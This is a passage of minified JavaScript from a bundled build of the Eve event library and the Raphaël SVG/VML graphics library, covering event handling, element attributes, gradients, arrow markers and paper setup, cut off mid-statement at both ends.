r=d,i=p,n=Array.prototype.slice.call(arguments,2),a=eve.listeners(t),s=0,o=!1,l,h=[],u={},x=[],y=f,m=[];x.firstDefined=g,x.lastDefined=v,f=t,p=0;for(var b=0,_=a.length;b<_;b++)"zIndex"in a[b]&&(h.push(a[b].zIndex),a[b].zIndex<0&&(u[a[b].zIndex]=a[b]));for(h.sort(c);h[s]<0;)if(l=u[h[s++]],x.push(l.apply(e,n)),p)return p=i,x;for(b=0;b<_;b++)if(l=a[b],"zIndex"in l)if(l.zIndex==h[s]){if(x.push(l.apply(e,n)),p)break;do if(s++,l=u[h[s]],l&&x.push(l.apply(e,n)),p)break;while(l)}else u[l.zIndex]=l;else if(x.push(l.apply(e,n)),p)break;return p=i,f=y,x},eve._events=d,eve.listeners=function(t){var e=m(t)?t:t.split(o),r=d,i,n,a,s,l,u,c,f,p=[r],g=[];for(s=0,l=e.length;s<l;s++){for(f=[],u=0,c=p.length;u<c;u++)for(r=p[u].n,n=[r[e[s]],r[h]],a=2;a--;)i=n[a],i&&(f.push(i),g=g.concat(i.f||[]));p=f}return g},eve.separator=function(t){t?(t=y(t).replace(/(?=[\.\^\]\[\-])/g,"\\"),t="["+t+"]",o=new RegExp(t)):o=/[\.\/]/},eve.on=function(t,e){if("function"!=typeof e)return function(){};for(var r=m(t)?m(t[0])?t:[t]:y(t).split(l),i=0,n=r.length;i<n;i++)!function(t){for(var r=m(t)?t:y(t).split(o),i=d,n,a=0,s=r.length;a<s;a++)i=i.n,i=i.hasOwnProperty(r[a])&&i[r[a]]||(i[r[a]]={n:{}});for(i.f=i.f||[],a=0,s=i.f.length;a<s;a++)if(i.f[a]==e){n=!0;break}!n&&i.f.push(e)}(r[i]);return function(t){+t==+t&&(e.zIndex=+t)}},eve.f=function(t){var e=[].slice.call(arguments,1);return function(){eve.apply(null,[t,null].concat(e).concat([].slice.call(arguments,0)))}},eve.stop=function(){p=1},eve.nt=function(t){var e=m(f)?f.join("."):f;return t?new RegExp("(?:\\.|\\/|^)"+t+"(?:\\.|\\/|$)").test(e):e},eve.nts=function(){return m(f)?f:f.split(o)},eve.off=eve.unbind=function(t,e){if(!t)return void(eve._events=d={n:{}});var r=m(t)?m(t[0])?t:[t]:y(t).split(l);if(r.length>1)for(var i=0,n=r.length;i<n;i++)eve.off(r[i],e);else{r=m(t)?t:y(t).split(o);var a,u,c,i,n,f,p,g=[d];for(i=0,n=r.length;i<n;i++)for(f=0;f<g.length;f+=c.length-2){if(c=[f,1],a=g[f].n,r[i]!=h)a[r[i]]&&c.push(a[r[i]]);else for(u in a)a[s](u)&&c.push(a[u]);g.splice.apply(g,c)}for(i=0,n=g.length;i<n;i++)for(a=g[i];a.n;){if(e){if(a.f){for(f=0,p=a.f.length;f<p;f++)if(a.f[f]==e){a.f.splice(f,1);break}!a.f.length&&delete a.f}for(u in a.n)if(a.n[s](u)&&a.n[u].f){var v=a.n[u].f;for(f=0,p=v.length;f<p;f++)if(v[f]==e){v.splice(f,1);break}!v.length&&delete a.n[u].f}}else{delete a.f;for(u in a.n)a.n[s](u)&&a.n[u].f&&delete a.n[u].f}a=a.n}}},eve.once=function(t,e){var r=function(){return eve.off(t,r),e.apply(this,arguments)};return eve.on(t,r)},eve.version=a,eve.toString=function(){return"You are running Eve "+a},"undefined"!=typeof t&&t.exports?t.exports=eve:(i=[],n=function(){return eve}.apply(e,i),!(void 0!==n&&(t.exports=n)))}(this)},function(t,e,r){var i,n;i=[r(1)],n=function(t){if(!t||t.svg){var e="hasOwnProperty",r=String,i=parseFloat,n=parseInt,a=Math,s=a.max,o=a.abs,l=a.pow,h=/[, ]+/,u=t.eve,c="",f=" ",p="http://www.w3.org/1999/xlink",d={block:"M5,0 0,2.5 5,5z",classic:"M5,0 0,2.5 5,5 3.5,3 3.5,2z",diamond:"M2.5,0 5,2.5 2.5,5 0,2.5z",open:"M6,1 1,3.5 6,6",oval:"M2.5,0A2.5,2.5,0,0,1,2.5,5 2.5,2.5,0,0,1,2.5,0z"},g={};t.toString=function(){return"Your browser supports SVG.\nYou are running Raphaël "+this.version};var v=function(i,n){if(n){"string"==typeof i&&(i=v(i));for(var a in n)n[e](a)&&("xlink:"==a.substring(0,6)?i.setAttributeNS(p,a.substring(6),r(n[a])):i.setAttribute(a,r(n[a])))}else i=t._g.doc.createElementNS("http://www.w3.org/2000/svg",i),i.style&&(i.style.webkitTapHighlightColor="rgba(0,0,0,0)");return i},x=function(e,n){var h="linear",u=e.id+n,f=.5,p=.5,d=e.node,g=e.paper,x=d.style,y=t._g.doc.getElementById(u);if(!y){if(n=r(n).replace(t._radial_gradient,function(t,e,r){if(h="radial",e&&r){f=i(e),p=i(r);var n=2*(p>.5)-1;l(f-.5,2)+l(p-.5,2)>.25&&(p=a.sqrt(.25-l(f-.5,2))*n+.5)&&.5!=p&&(p=p.toFixed(5)-1e-5*n)}return c}),n=n.split(/\s*\-\s*/),"linear"==h){var b=n.shift();if(b=-i(b),isNaN(b))return null;var _=[0,0,a.cos(t.rad(b)),a.sin(t.rad(b))],w=1/(s(o(_[2]),o(_[3]))||1);_[2]*=w,_[3]*=w,_[2]<0&&(_[0]=-_[2],_[2]=0),_[3]<0&&(_[1]=-_[3],_[3]=0)}var k=t._parseDots(n);if(!k)return null;if(u=u.replace(/[\(\)\s,\xb0#]/g,"_"),e.gradient&&u!=e.gradient.id&&(g.defs.removeChild(e.gradient),delete e.gradient),!e.gradient){y=v(h+"Gradient",{id:u}),e.gradient=y,v(y,"radial"==h?{fx:f,fy:p}:{x1:_[0],y1:_[1],x2:_[2],y2:_[3],gradientTransform:e.matrix.invert()}),g.defs.appendChild(y);for(var B=0,C=k.length;B<C;B++)y.appendChild(v("stop",{offset:k[B].offset?k[B].offset:B?"100%":"0%","stop-color":k[B].color||"#fff","stop-opacity":isFinite(k[B].opacity)?k[B].opacity:1}))}}return v(d,{fill:m(u),opacity:1,"fill-opacity":1}),x.fill=c,x.opacity=1,x.fillOpacity=1,1},y=function(){var t=document.documentMode;return t&&(9===t||10===t)},m=function(t){if(y())return"url('#"+t+"')";var e=document.location,r=e.protocol+"//"+e.host+e.pathname+e.search;return"url('"+r+"#"+t+"')"},b=function(t){var e=t.getBBox(1);v(t.pattern,{patternTransform:t.matrix.invert()+" translate("+e.x+","+e.y+")"})},_=function(i,n,a){if("path"==i.type){for(var s=r(n).toLowerCase().split("-"),o=i.paper,l=a?"end":"start",h=i.node,u=i.attrs,f=u["stroke-width"],p=s.length,x="classic",y,m,b,_,w,k=3,B=3,C=5;p--;)switch(s[p]){case"block":case"classic":case"oval":case"diamond":case"open":case"none":x=s[p];break;case"wide":B=5;break;case"narrow":B=2;break;case"long":k=5;break;case"short":k=2}if("open"==x?(k+=2,B+=2,C+=2,b=1,_=a?4:1,w={fill:"none",stroke:u.stroke}):(_=b=k/2,w={fill:u.stroke,stroke:"none"}),i._.arrows?a?(i._.arrows.endPath&&g[i._.arrows.endPath]--,i._.arrows.endMarker&&g[i._.arrows.endMarker]--):(i._.arrows.startPath&&g[i._.arrows.startPath]--,i._.arrows.startMarker&&g[i._.arrows.startMarker]--):i._.arrows={},"none"!=x){var S="raphael-marker-"+x,A="raphael-marker-"+l+x+k+B+"-obj"+i.id;t._g.doc.getElementById(S)?g[S]++:(o.defs.appendChild(v(v("path"),{"stroke-linecap":"round",d:d[x],id:S})),g[S]=1);var T=t._g.doc.getElementById(A),E;T?(g[A]++,E=T.getElementsByTagName("use")[0]):(T=v(v("marker"),{id:A,markerHeight:B,markerWidth:k,orient:"auto",refX:_,refY:B/2}),E=v(v("use"),{"xlink:href":"#"+S,transform:(a?"rotate(180 "+k/2+" "+B/2+") ":c)+"scale("+k/C+","+B/C+")","stroke-width":(1/((k/C+B/C)/2)).toFixed(4)}),T.appendChild(E),o.defs.appendChild(T),g[A]=1),v(E,w);var M=b*("diamond"!=x&&"oval"!=x);a?(y=i._.arrows.startdx*f||0,m=t.getTotalLength(u.path)-M*f):(y=M*f,m=t.getTotalLength(u.path)-(i._.arrows.enddx*f||0)),w={},w["marker-"+l]="url(#"+A+")",(m||y)&&(w.d=t.getSubpath(u.path,y,m)),v(h,w),i._.arrows[l+"Path"]=S,i._.arrows[l+"Marker"]=A,i._.arrows[l+"dx"]=M,i._.arrows[l+"Type"]=x,i._.arrows[l+"String"]=n}else a?(y=i._.arrows.startdx*f||0,m=t.getTotalLength(u.path)-y):(y=0,m=t.getTotalLength(u.path)-(i._.arrows.enddx*f||0)),i._.arrows[l+"Path"]&&v(h,{d:t.getSubpath(u.path,y,m)}),delete i._.arrows[l+"Path"],delete i._.arrows[l+"Marker"],delete i._.arrows[l+"dx"],delete i._.arrows[l+"Type"],delete i._.arrows[l+"String"];for(w in g)if(g[e](w)&&!g[w]){var N=t._g.doc.getElementById(w);N&&N.parentNode.removeChild(N)}}},w={"-":[3,1],".":[1,1],"-.":[3,1,1,1],"-..":[3,1,1,1,1,1],". ":[1,3],"- ":[4,3],"--":[8,3],"- .":[4,3,1,3],"--.":[8,3,1,3],"--..":[8,3,1,3,1,3]},k=function(t,e,i){if(e=w[r(e).toLowerCase()]){for(var n=t.attrs["stroke-width"]||"1",a={round:n,square:n,butt:0}[t.attrs["stroke-linecap"]||i["stroke-linecap"]]||0,s=[],o=e.length;o--;)s[o]=e[o]*n+(o%2?1:-1)*a;v(t.node,{"stroke-dasharray":s.join(",")})}else v(t.node,{"stroke-dasharray":"none"})},B=function(i,a){var l=i.node,u=i.attrs,f=l.style.visibility;l.style.visibility="hidden";for(var d in a)if(a[e](d)){if(!t._availableAttrs[e](d))continue;var g=a[d];switch(u[d]=g,d){case"blur":i.blur(g);break;case"title":var y=l.getElementsByTagName("title");if(y.length&&(y=y[0]))y.firstChild.nodeValue=g;else{y=v("title");var m=t._g.doc.createTextNode(g);y.appendChild(m),l.appendChild(y)}break;case"href":case"target":var w=l.parentNode;if("a"!=w.tagName.toLowerCase()){var B=v("a");w.insertBefore(B,l),B.appendChild(l),w=B}"target"==d?w.setAttributeNS(p,"show","blank"==g?"new":g):w.setAttributeNS(p,d,g);break;case"cursor":l.style.cursor=g;break;case"transform":i.transform(g);break;case"arrow-start":_(i,g);break;case"arrow-end":_(i,g,1);break;case"clip-rect":var C=r(g).split(h);if(4==C.length){i.clip&&i.clip.parentNode.parentNode.removeChild(i.clip.parentNode);var A=v("clipPath"),T=v("rect");A.id=t.createUUID(),v(T,{x:C[0],y:C[1],width:C[2],height:C[3]}),A.appendChild(T),i.paper.defs.appendChild(A),v(l,{"clip-path":"url(#"+A.id+")"}),i.clip=T}if(!g){var E=l.getAttribute("clip-path");if(E){var M=t._g.doc.getElementById(E.replace(/(^url\(#|\)$)/g,c));M&&M.parentNode.removeChild(M),v(l,{"clip-path":c}),delete i.clip}}break;case"path":"path"==i.type&&(v(l,{d:g?u.path=t._pathToAbsolute(g):"M0,0"}),i._.dirty=1,i._.arrows&&("startString"in i._.arrows&&_(i,i._.arrows.startString),"endString"in i._.arrows&&_(i,i._.arrows.endString,1)));break;case"width":if(l.setAttribute(d,g),i._.dirty=1,!u.fx)break;d="x",g=u.x;case"x":u.fx&&(g=-u.x-(u.width||0));case"rx":if("rx"==d&&"rect"==i.type)break;case"cx":l.setAttribute(d,g),i.pattern&&b(i),i._.dirty=1;break;case"height":if(l.setAttribute(d,g),i._.dirty=1,!u.fy)break;d="y",g=u.y;case"y":u.fy&&(g=-u.y-(u.height||0));case"ry":if("ry"==d&&"rect"==i.type)break;case"cy":l.setAttribute(d,g),i.pattern&&b(i),i._.dirty=1;break;case"r":"rect"==i.type?v(l,{rx:g,ry:g}):l.setAttribute(d,g),i._.dirty=1;break;case"src":"image"==i.type&&l.setAttributeNS(p,"href",g);break;case"stroke-width":1==i._.sx&&1==i._.sy||(g/=s(o(i._.sx),o(i._.sy))||1),l.setAttribute(d,g),u["stroke-dasharray"]&&k(i,u["stroke-dasharray"],a),
i._.arrows&&("startString"in i._.arrows&&_(i,i._.arrows.startString),"endString"in i._.arrows&&_(i,i._.arrows.endString,1));break;case"stroke-dasharray":k(i,g,a);break;case"fill":var N=r(g).match(t._ISURL);if(N){A=v("pattern");var L=v("image");A.id=t.createUUID(),v(A,{x:0,y:0,patternUnits:"userSpaceOnUse",height:1,width:1}),v(L,{x:0,y:0,"xlink:href":N[1]}),A.appendChild(L),function(e){t._preload(N[1],function(){var t=this.offsetWidth,r=this.offsetHeight;v(e,{width:t,height:r}),v(L,{width:t,height:r})})}(A),i.paper.defs.appendChild(A),v(l,{fill:"url(#"+A.id+")"}),i.pattern=A,i.pattern&&b(i);break}var z=t.getRGB(g);if(z.error){if(("circle"==i.type||"ellipse"==i.type||"r"!=r(g).charAt())&&x(i,g)){if("opacity"in u||"fill-opacity"in u){var P=t._g.doc.getElementById(l.getAttribute("fill").replace(/^url\(#|\)$/g,c));if(P){var F=P.getElementsByTagName("stop");v(F[F.length-1],{"stop-opacity":("opacity"in u?u.opacity:1)*("fill-opacity"in u?u["fill-opacity"]:1)})}}u.gradient=g,u.fill="none";break}}else delete a.gradient,delete u.gradient,!t.is(u.opacity,"undefined")&&t.is(a.opacity,"undefined")&&v(l,{opacity:u.opacity}),!t.is(u["fill-opacity"],"undefined")&&t.is(a["fill-opacity"],"undefined")&&v(l,{"fill-opacity":u["fill-opacity"]});z[e]("opacity")&&v(l,{"fill-opacity":z.opacity>1?z.opacity/100:z.opacity});case"stroke":z=t.getRGB(g),l.setAttribute(d,z.hex),"stroke"==d&&z[e]("opacity")&&v(l,{"stroke-opacity":z.opacity>1?z.opacity/100:z.opacity}),"stroke"==d&&i._.arrows&&("startString"in i._.arrows&&_(i,i._.arrows.startString),"endString"in i._.arrows&&_(i,i._.arrows.endString,1));break;case"gradient":("circle"==i.type||"ellipse"==i.type||"r"!=r(g).charAt())&&x(i,g);break;case"opacity":u.gradient&&!u[e]("stroke-opacity")&&v(l,{"stroke-opacity":g>1?g/100:g});case"fill-opacity":if(u.gradient){P=t._g.doc.getElementById(l.getAttribute("fill").replace(/^url\(#|\)$/g,c)),P&&(F=P.getElementsByTagName("stop"),v(F[F.length-1],{"stop-opacity":g}));break}default:"font-size"==d&&(g=n(g,10)+"px");var R=d.replace(/(\-.)/g,function(t){return t.substring(1).toUpperCase()});l.style[R]=g,i._.dirty=1,l.setAttribute(d,g)}}S(i,a),l.style.visibility=f},C=1.2,S=function(i,a){if("text"==i.type&&(a[e]("text")||a[e]("font")||a[e]("font-size")||a[e]("x")||a[e]("y"))){var s=i.attrs,o=i.node,l=o.firstChild?n(t._g.doc.defaultView.getComputedStyle(o.firstChild,c).getPropertyValue("font-size"),10):10;if(a[e]("text")){for(s.text=a.text;o.firstChild;)o.removeChild(o.firstChild);for(var h=r(a.text).split("\n"),u=[],f,p=0,d=h.length;p<d;p++)f=v("tspan"),p&&v(f,{dy:l*C,x:s.x}),f.appendChild(t._g.doc.createTextNode(h[p])),o.appendChild(f),u[p]=f}else for(u=o.getElementsByTagName("tspan"),p=0,d=u.length;p<d;p++)p?v(u[p],{dy:l*C,x:s.x}):v(u[0],{dy:0});v(o,{x:s.x,y:s.y}),i._.dirty=1;var g=i._getBBox(),x=s.y-(g.y+g.height/2);x&&t.is(x,"finite")&&v(u[0],{dy:x})}},A=function(t){return t.parentNode&&"a"===t.parentNode.tagName.toLowerCase()?t.parentNode:t},T=function(e,r){function i(){return("0000"+(Math.random()*Math.pow(36,5)<<0).toString(36)).slice(-5)}var n=0,a=0;this[0]=this.node=e,e.raphael=!0,this.id=i(),e.raphaelid=this.id,this.matrix=t.matrix(),this.realPath=null,this.paper=r,this.attrs=this.attrs||{},this._={transform:[],sx:1,sy:1,deg:0,dx:0,dy:0,dirty:1},!r.bottom&&(r.bottom=this),this.prev=r.top,r.top&&(r.top.next=this),r.top=this,this.next=null},E=t.el;T.prototype=E,E.constructor=T,t._engine.path=function(t,e){var r=v("path");e.canvas&&e.canvas.appendChild(r);var i=new T(r,e);return i.type="path",B(i,{fill:"none",stroke:"#000",path:t}),i},E.rotate=function(t,e,n){if(this.removed)return this;if(t=r(t).split(h),t.length-1&&(e=i(t[1]),n=i(t[2])),t=i(t[0]),null==n&&(e=n),null==e||null==n){var a=this.getBBox(1);e=a.x+a.width/2,n=a.y+a.height/2}return this.transform(this._.transform.concat([["r",t,e,n]])),this},E.scale=function(t,e,n,a){if(this.removed)return this;if(t=r(t).split(h),t.length-1&&(e=i(t[1]),n=i(t[2]),a=i(t[3])),t=i(t[0]),null==e&&(e=t),null==a&&(n=a),null==n||null==a)var s=this.getBBox(1);return n=null==n?s.x+s.width/2:n,a=null==a?s.y+s.height/2:a,this.transform(this._.transform.concat([["s",t,e,n,a]])),this},E.translate=function(t,e){return this.removed?this:(t=r(t).split(h),t.length-1&&(e=i(t[1])),t=i(t[0])||0,e=+e||0,this.transform(this._.transform.concat([["t",t,e]])),this)},E.transform=function(r){var i=this._;if(null==r)return i.transform;if(t._extractTransform(this,r),this.clip&&v(this.clip,{transform:this.matrix.invert()}),this.pattern&&b(this),this.node&&v(this.node,{transform:this.matrix}),1!=i.sx||1!=i.sy){var n=this.attrs[e]("stroke-width")?this.attrs["stroke-width"]:1;this.attr({"stroke-width":n})}return this},E.hide=function(){return this.removed||(this.node.style.display="none"),this},E.show=function(){return this.removed||(this.node.style.display=""),this},E.remove=function(){var e=A(this.node);if(!this.removed&&e.parentNode){var r=this.paper;r.__set__&&r.__set__.exclude(this),u.unbind("raphael.*.*."+this.id),this.gradient&&r.defs.removeChild(this.gradient),t._tear(this,r),e.parentNode.removeChild(e),this.removeData();for(var i in this)this[i]="function"==typeof this[i]?t._removedFactory(i):null;this.removed=!0}},E._getBBox=function(){if("none"==this.node.style.display){this.show();var t=!0}var e=!1,r;this.paper.canvas.parentElement?r=this.paper.canvas.parentElement.style:this.paper.canvas.parentNode&&(r=this.paper.canvas.parentNode.style),r&&"none"==r.display&&(e=!0,r.display="");var i={};try{i=this.node.getBBox()}catch(n){i={x:this.node.clientLeft,y:this.node.clientTop,width:this.node.clientWidth,height:this.node.clientHeight}}finally{i=i||{},e&&(r.display="none")}return t&&this.hide(),i},E.attr=function(r,i){if(this.removed)return this;if(null==r){var n={};for(var a in this.attrs)this.attrs[e](a)&&(n[a]=this.attrs[a]);return n.gradient&&"none"==n.fill&&(n.fill=n.gradient)&&delete n.gradient,n.transform=this._.transform,n}if(null==i&&t.is(r,"string")){if("fill"==r&&"none"==this.attrs.fill&&this.attrs.gradient)return this.attrs.gradient;if("transform"==r)return this._.transform;for(var s=r.split(h),o={},l=0,c=s.length;l<c;l++)r=s[l],r in this.attrs?o[r]=this.attrs[r]:t.is(this.paper.customAttributes[r],"function")?o[r]=this.paper.customAttributes[r].def:o[r]=t._availableAttrs[r];return c-1?o:o[s[0]]}if(null==i&&t.is(r,"array")){for(o={},l=0,c=r.length;l<c;l++)o[r[l]]=this.attr(r[l]);return o}if(null!=i){var f={};f[r]=i}else null!=r&&t.is(r,"object")&&(f=r);for(var p in f)u("raphael.attr."+p+"."+this.id,this,f[p]);for(p in this.paper.customAttributes)if(this.paper.customAttributes[e](p)&&f[e](p)&&t.is(this.paper.customAttributes[p],"function")){var d=this.paper.customAttributes[p].apply(this,[].concat(f[p]));this.attrs[p]=f[p];for(var g in d)d[e](g)&&(f[g]=d[g])}return B(this,f),this},E.toFront=function(){if(this.removed)return this;var e=A(this.node);e.parentNode.appendChild(e);var r=this.paper;return r.top!=this&&t._tofront(this,r),this},E.toBack=function(){if(this.removed)return this;var e=A(this.node),r=e.parentNode;r.insertBefore(e,r.firstChild),t._toback(this,this.paper);var i=this.paper;return this},E.insertAfter=function(e){if(this.removed||!e)return this;var r=A(this.node),i=A(e.node||e[e.length-1].node);return i.nextSibling?i.parentNode.insertBefore(r,i.nextSibling):i.parentNode.appendChild(r),t._insertafter(this,e,this.paper),this},E.insertBefore=function(e){if(this.removed||!e)return this;var r=A(this.node),i=A(e.node||e[0].node);return i.parentNode.insertBefore(r,i),t._insertbefore(this,e,this.paper),this},E.blur=function(e){var r=this;if(0!==+e){var i=v("filter"),n=v("feGaussianBlur");r.attrs.blur=e,i.id=t.createUUID(),v(n,{stdDeviation:+e||1.5}),i.appendChild(n),r.paper.defs.appendChild(i),r._blur=i,v(r.node,{filter:"url(#"+i.id+")"})}else r._blur&&(r._blur.parentNode.removeChild(r._blur),delete r._blur,delete r.attrs.blur),r.node.removeAttribute("filter");return r},t._engine.circle=function(t,e,r,i){var n=v("circle");t.canvas&&t.canvas.appendChild(n);var a=new T(n,t);return a.attrs={cx:e,cy:r,r:i,fill:"none",stroke:"#000"},a.type="circle",v(n,a.attrs),a},t._engine.rect=function(t,e,r,i,n,a){var s=v("rect");t.canvas&&t.canvas.appendChild(s);var o=new T(s,t);return o.attrs={x:e,y:r,width:i,height:n,rx:a||0,ry:a||0,fill:"none",stroke:"#000"},o.type="rect",v(s,o.attrs),o},t._engine.ellipse=function(t,e,r,i,n){var a=v("ellipse");t.canvas&&t.canvas.appendChild(a);var s=new T(a,t);return s.attrs={cx:e,cy:r,rx:i,ry:n,fill:"none",stroke:"#000"},s.type="ellipse",v(a,s.attrs),s},t._engine.image=function(t,e,r,i,n,a){var s=v("image");v(s,{x:r,y:i,width:n,height:a,preserveAspectRatio:"none"}),s.setAttributeNS(p,"href",e),t.canvas&&t.canvas.appendChild(s);var o=new T(s,t);return o.attrs={x:r,y:i,width:n,height:a,src:e},o.type="image",o},t._engine.text=function(e,r,i,n){var a=v("text");e.canvas&&e.canvas.appendChild(a);var s=new T(a,e);return s.attrs={x:r,y:i,"text-anchor":"middle",text:n,"font-family":t._availableAttrs["font-family"],"font-size":t._availableAttrs["font-size"],stroke:"none",fill:"#000"},s.type="text",B(s,s.attrs),s},t._engine.setSize=function(t,e){return this.width=t||this.width,this.height=e||this.height,this.canvas.setAttribute("width",this.width),this.canvas.setAttribute("height",this.height),this._viewBox&&this.setViewBox.apply(this,this._viewBox),this},t._engine.create=function(){var e=t._getContainer.apply(0,arguments),r=e&&e.container,i=e.x,n=e.y,a=e.width,s=e.height;if(!r)throw new Error("SVG container not found.");var o=v("svg"),l="overflow:hidden;",h;return i=i||0,n=n||0,a=a||512,s=s||342,v(o,{height:s,version:1.1,width:a,xmlns:"http://www.w3.org/2000/svg","xmlns:xlink":"http://www.w3.org/1999/xlink"}),1==r?(o.style.cssText=l+"position:absolute;left:"+i+"px;top:"+n+"px",t._g.doc.body.appendChild(o),h=1):(o.style.cssText=l+"position:relative",r.firstChild?r.insertBefore(o,r.firstChild):r.appendChild(o)),r=new t._Paper,r.width=a,r.height=s,r.canvas=o,r.clear(),r._left=r._top=0,h&&(r.renderfix=function(){}),r.renderfix(),r},t._engine.setViewBox=function(t,e,r,i,n){u("raphael.setViewBox",this,this._viewBox,[t,e,r,i,n]);var a=this.getSize(),o=s(r/a.width,i/a.height),l=this.top,h=n?"xMidYMid meet":"xMinYMin",c,p;for(null==t?(this._vbSize&&(o=1),delete this._vbSize,c="0 0 "+this.width+f+this.height):(this._vbSize=o,c=t+f+e+f+r+f+i),v(this.canvas,{viewBox:c,preserveAspectRatio:h});o&&l;)p="stroke-width"in l.attrs?l.attrs["stroke-width"]:1,l.attr({"stroke-width":p}),l._.dirty=1,l._.dirtyT=1,l=l.prev;return this._viewBox=[t,e,r,i,!!n],this},t.prototype.renderfix=function(){var t=this.canvas,e=t.style,r;try{r=t.getScreenCTM()||t.createSVGMatrix()}catch(i){r=t.createSVGMatrix()}var n=-r.e%1,a=-r.f%1;(n||a)&&(n&&(this._left=(this._left+n)%1,e.left=this._left+"px"),a&&(this._top=(this._top+a)%1,e.top=this._top+"px"))},t.prototype.clear=function(){t.eve("raphael.clear",this);for(var e=this.canvas;e.firstChild;)e.removeChild(e.firstChild);this.bottom=this.top=null,(this.desc=v("desc")).appendChild(t._g.doc.createTextNode("Created with Raphaël "+t.version)),e.appendChild(this.desc),e.appendChild(this.defs=v("defs"))},t.prototype.remove=function(){u("raphael.remove",this),this.canvas.parentNode&&this.canvas.parentNode.removeChild(this.canvas);for(var e in this)this[e]="function"==typeof this[e]?t._removedFactory(e):null};var M=t.st;for(var N in E)E[e](N)&&!M[e](N)&&(M[N]=function(t){return function(){var e=arguments;return this.forEach(function(r){r[t].apply(r,e)})}}(N))}}.apply(e,i),!(void 0!==n&&(t.exports=n))},function(t,e,r){var i,n;i=[r(1)],n=function(t){if(!t||t.vml){var e="hasOwnProperty",r=String,i=parseFloat,n=Math,a=n.round,s=n.max,o=n.min,l=n.abs,h="fill",u=/[, ]+/,c=t.eve,f=" progid:DXImageTransform.Microsoft",p=" ",d="",g={M:"m",L:"l",C:"c",Z:"x",m:"t",l:"r",c:"v",z:"x"},v=/([clmz]),?([^clmz]*)/gi,x=/ progid:\S+Blur\([^\)]+\)/g,y=/-?[^,\s-]+/g,m="position:absolute;left:0;top:0;width:1px;height:1px;behavior:url(#default#VML)",b=21600,_={path:1,rect:1,image:1},w={circle:1,ellipse:1},k=function(e){var i=/[ahqstv]/gi,n=t._pathToAbsolute;if(r(e).match(i)&&(n=t._path2curve),i=/[clmz]/g,n==t._pathToAbsolute&&!r(e).match(i)){var s=r(e).replace(v,function(t,e,r){var i=[],n="m"==e.toLowerCase(),s=g[e];return r.replace(y,function(t){n&&2==i.length&&(s+=i+g["m"==e?"l":"L"],i=[]),i.push(a(t*b))}),s+i});return s}var o=n(e),l,h;s=[];for(var u=0,c=o.length;u<c;u++){l=o[u],h=o[u][0].toLowerCase(),"z"==h&&(h="x");for(var f=1,x=l.length;f<x;f++)h+=a(l[f]*b)+(f!=x-1?",":d);s.push(h)}return s.join(p)},B=function(e,r,i){var n=t.matrix();return n.rotate(-e,.5,.5),{dx:n.x(r,i),dy:n.y(r,i)}},C=function(t,e,r,i,n,a){var s=t._,o=t.matrix,u=s.fillpos,c=t.node,f=c.style,d=1,g="",v,x=b/e,y=b/r;if(f.visibility="hidden",e&&r){if(c.coordsize=l(x)+p+l(y),f.rotation=a*(e*r<0?-1:1),a){var m=B(a,i,n);i=m.dx,n=m.dy}if(e<0&&(g+="x"),r<0&&(g+=" y")&&(d=-1),f.flip=g,c.coordorigin=i*-x+p+n*-y,u||s.fillsize){var _=c.getElementsByTagName(h);_=_&&_[0],c.removeChild(_),u&&(m=B(a,o.x(u[0],u[1]),o.y(u[0],u[1])),_.position=m.dx*d+p+m.dy*d),s.fillsize&&(_.size=s.fillsize[0]*l(e)+p+s.fillsize[1]*l(r)),c.appendChild(_)}f.visibility="visible"}};t.toString=function(){return"Your browser doesn’t support SVG. Falling down to VML.\nYou are running Raphaël "+this.version};var S=function(t,e,i){for(var n=r(e).toLowerCase().split("-"),a=i?"end":"start",s=n.length,o="classic",l="medium",h="medium";s--;)switch(n[s]){case"block":case"classic":case"oval":case"diamond":case"open":case"none":o=n[s];break;case"wide":case"narrow":h=n[s];break;case"long":case"short":l=n[s]}var u=t.node.getElementsByTagName("stroke")[0];u[a+"arrow"]=o,u[a+"arrowlength"]=l,u[a+"arrowwidth"]=h},A=function(n,l){n.attrs=n.attrs||{};var c=n.node,f=n.attrs,g=c.style,v,x=_[n.type]&&(l.x!=f.x||l.y!=f.y||l.width!=f.width||l.height!=f.height||l.cx!=f.cx||l.cy!=f.cy||l.rx!=f.rx||l.ry!=f.ry||l.r!=f.r),y=w[n.type]&&(f.cx!=l.cx||f.cy!=l.cy||f.r!=l.r||f.rx!=l.rx||f.ry!=l.ry),m=n;for(var B in l)l[e](B)&&(f[B]=l[B]);if(x&&(f.path=t._getPath[n.type](n),n._.dirty=1),l.href&&(c.href=l.href),l.title&&(c.title=l.title),l.target&&(c.target=l.target),l.cursor&&(g.cursor=l.cursor),"blur"in l&&n.blur(l.blur),(l.path&&"path"==n.type||x)&&(c.path=k(~r(f.path).toLowerCase().indexOf("r")?t._pathToAbsolute(f.path):f.path),n._.dirty=1,"image"==n.type&&(n._.fillpos=[f.x,f.y],n._.fillsize=[f.width,f.height],C(n,1,1,0,0,0))),"transform"in l&&n.transform(l.transform),y){var A=+f.cx,E=+f.cy,M=+f.rx||+f.r||0,L=+f.ry||+f.r||0;c.path=t.format("ar{0},{1},{2},{3},{4},{1},{4},{1}x",a((A-M)*b),a((E-L)*b),a((A+M)*b),a((E+L)*b),a(A*b)),n._.dirty=1}if("clip-rect"in l){var z=r(l["clip-rect"]).split(u);if(4==z.length){z[2]=+z[2]+ +z[0],z[3]=+z[3]+ +z[1];var P=c.clipRect||t._g.doc.createElement("div"),F=P.style;F.clip=t.format("rect({1}px {2}px {3}px {0}px)",z),c.clipRect||(F.position="absolute",F.top=0,F.left=0,F.width=n.paper.width+"px",F.height=n.paper.height+"px",c.parentNode.insertBefore(P,c),P.appendChild(c),c.clipRect=P)}l["clip-rect"]||c.clipRect&&(c.clipRect.style.clip="auto")}if(n.textpath){var R=n.textpath.style;l.font&&(R.font=l.font),l["font-family"]&&(R.fontFamily='"'+l["font-family"].split(",")[0].replace(/^['"]+|['"]+$/g,d)+'"'),l["font-size"]&&(R.fontSize=l["font-size"]),l["font-weight"]&&(R.fontWeight=l["font-weight"]),l["font-style"]&&(R.fontStyle=l["font-style"])}if("arrow-start"in l&&S(m,l["arrow-start"]),"arrow-end"in l&&S(m,l["arrow-end"],1),null!=l.opacity||null!=l.fill||null!=l.src||null!=l.stroke||null!=l["stroke-width"]||null!=l["stroke-opacity"]||null!=l["fill-opacity"]||null!=l["stroke-dasharray"]||null!=l["stroke-miterlimit"]||null!=l["stroke-linejoin"]||null!=l["stroke-linecap"]){var 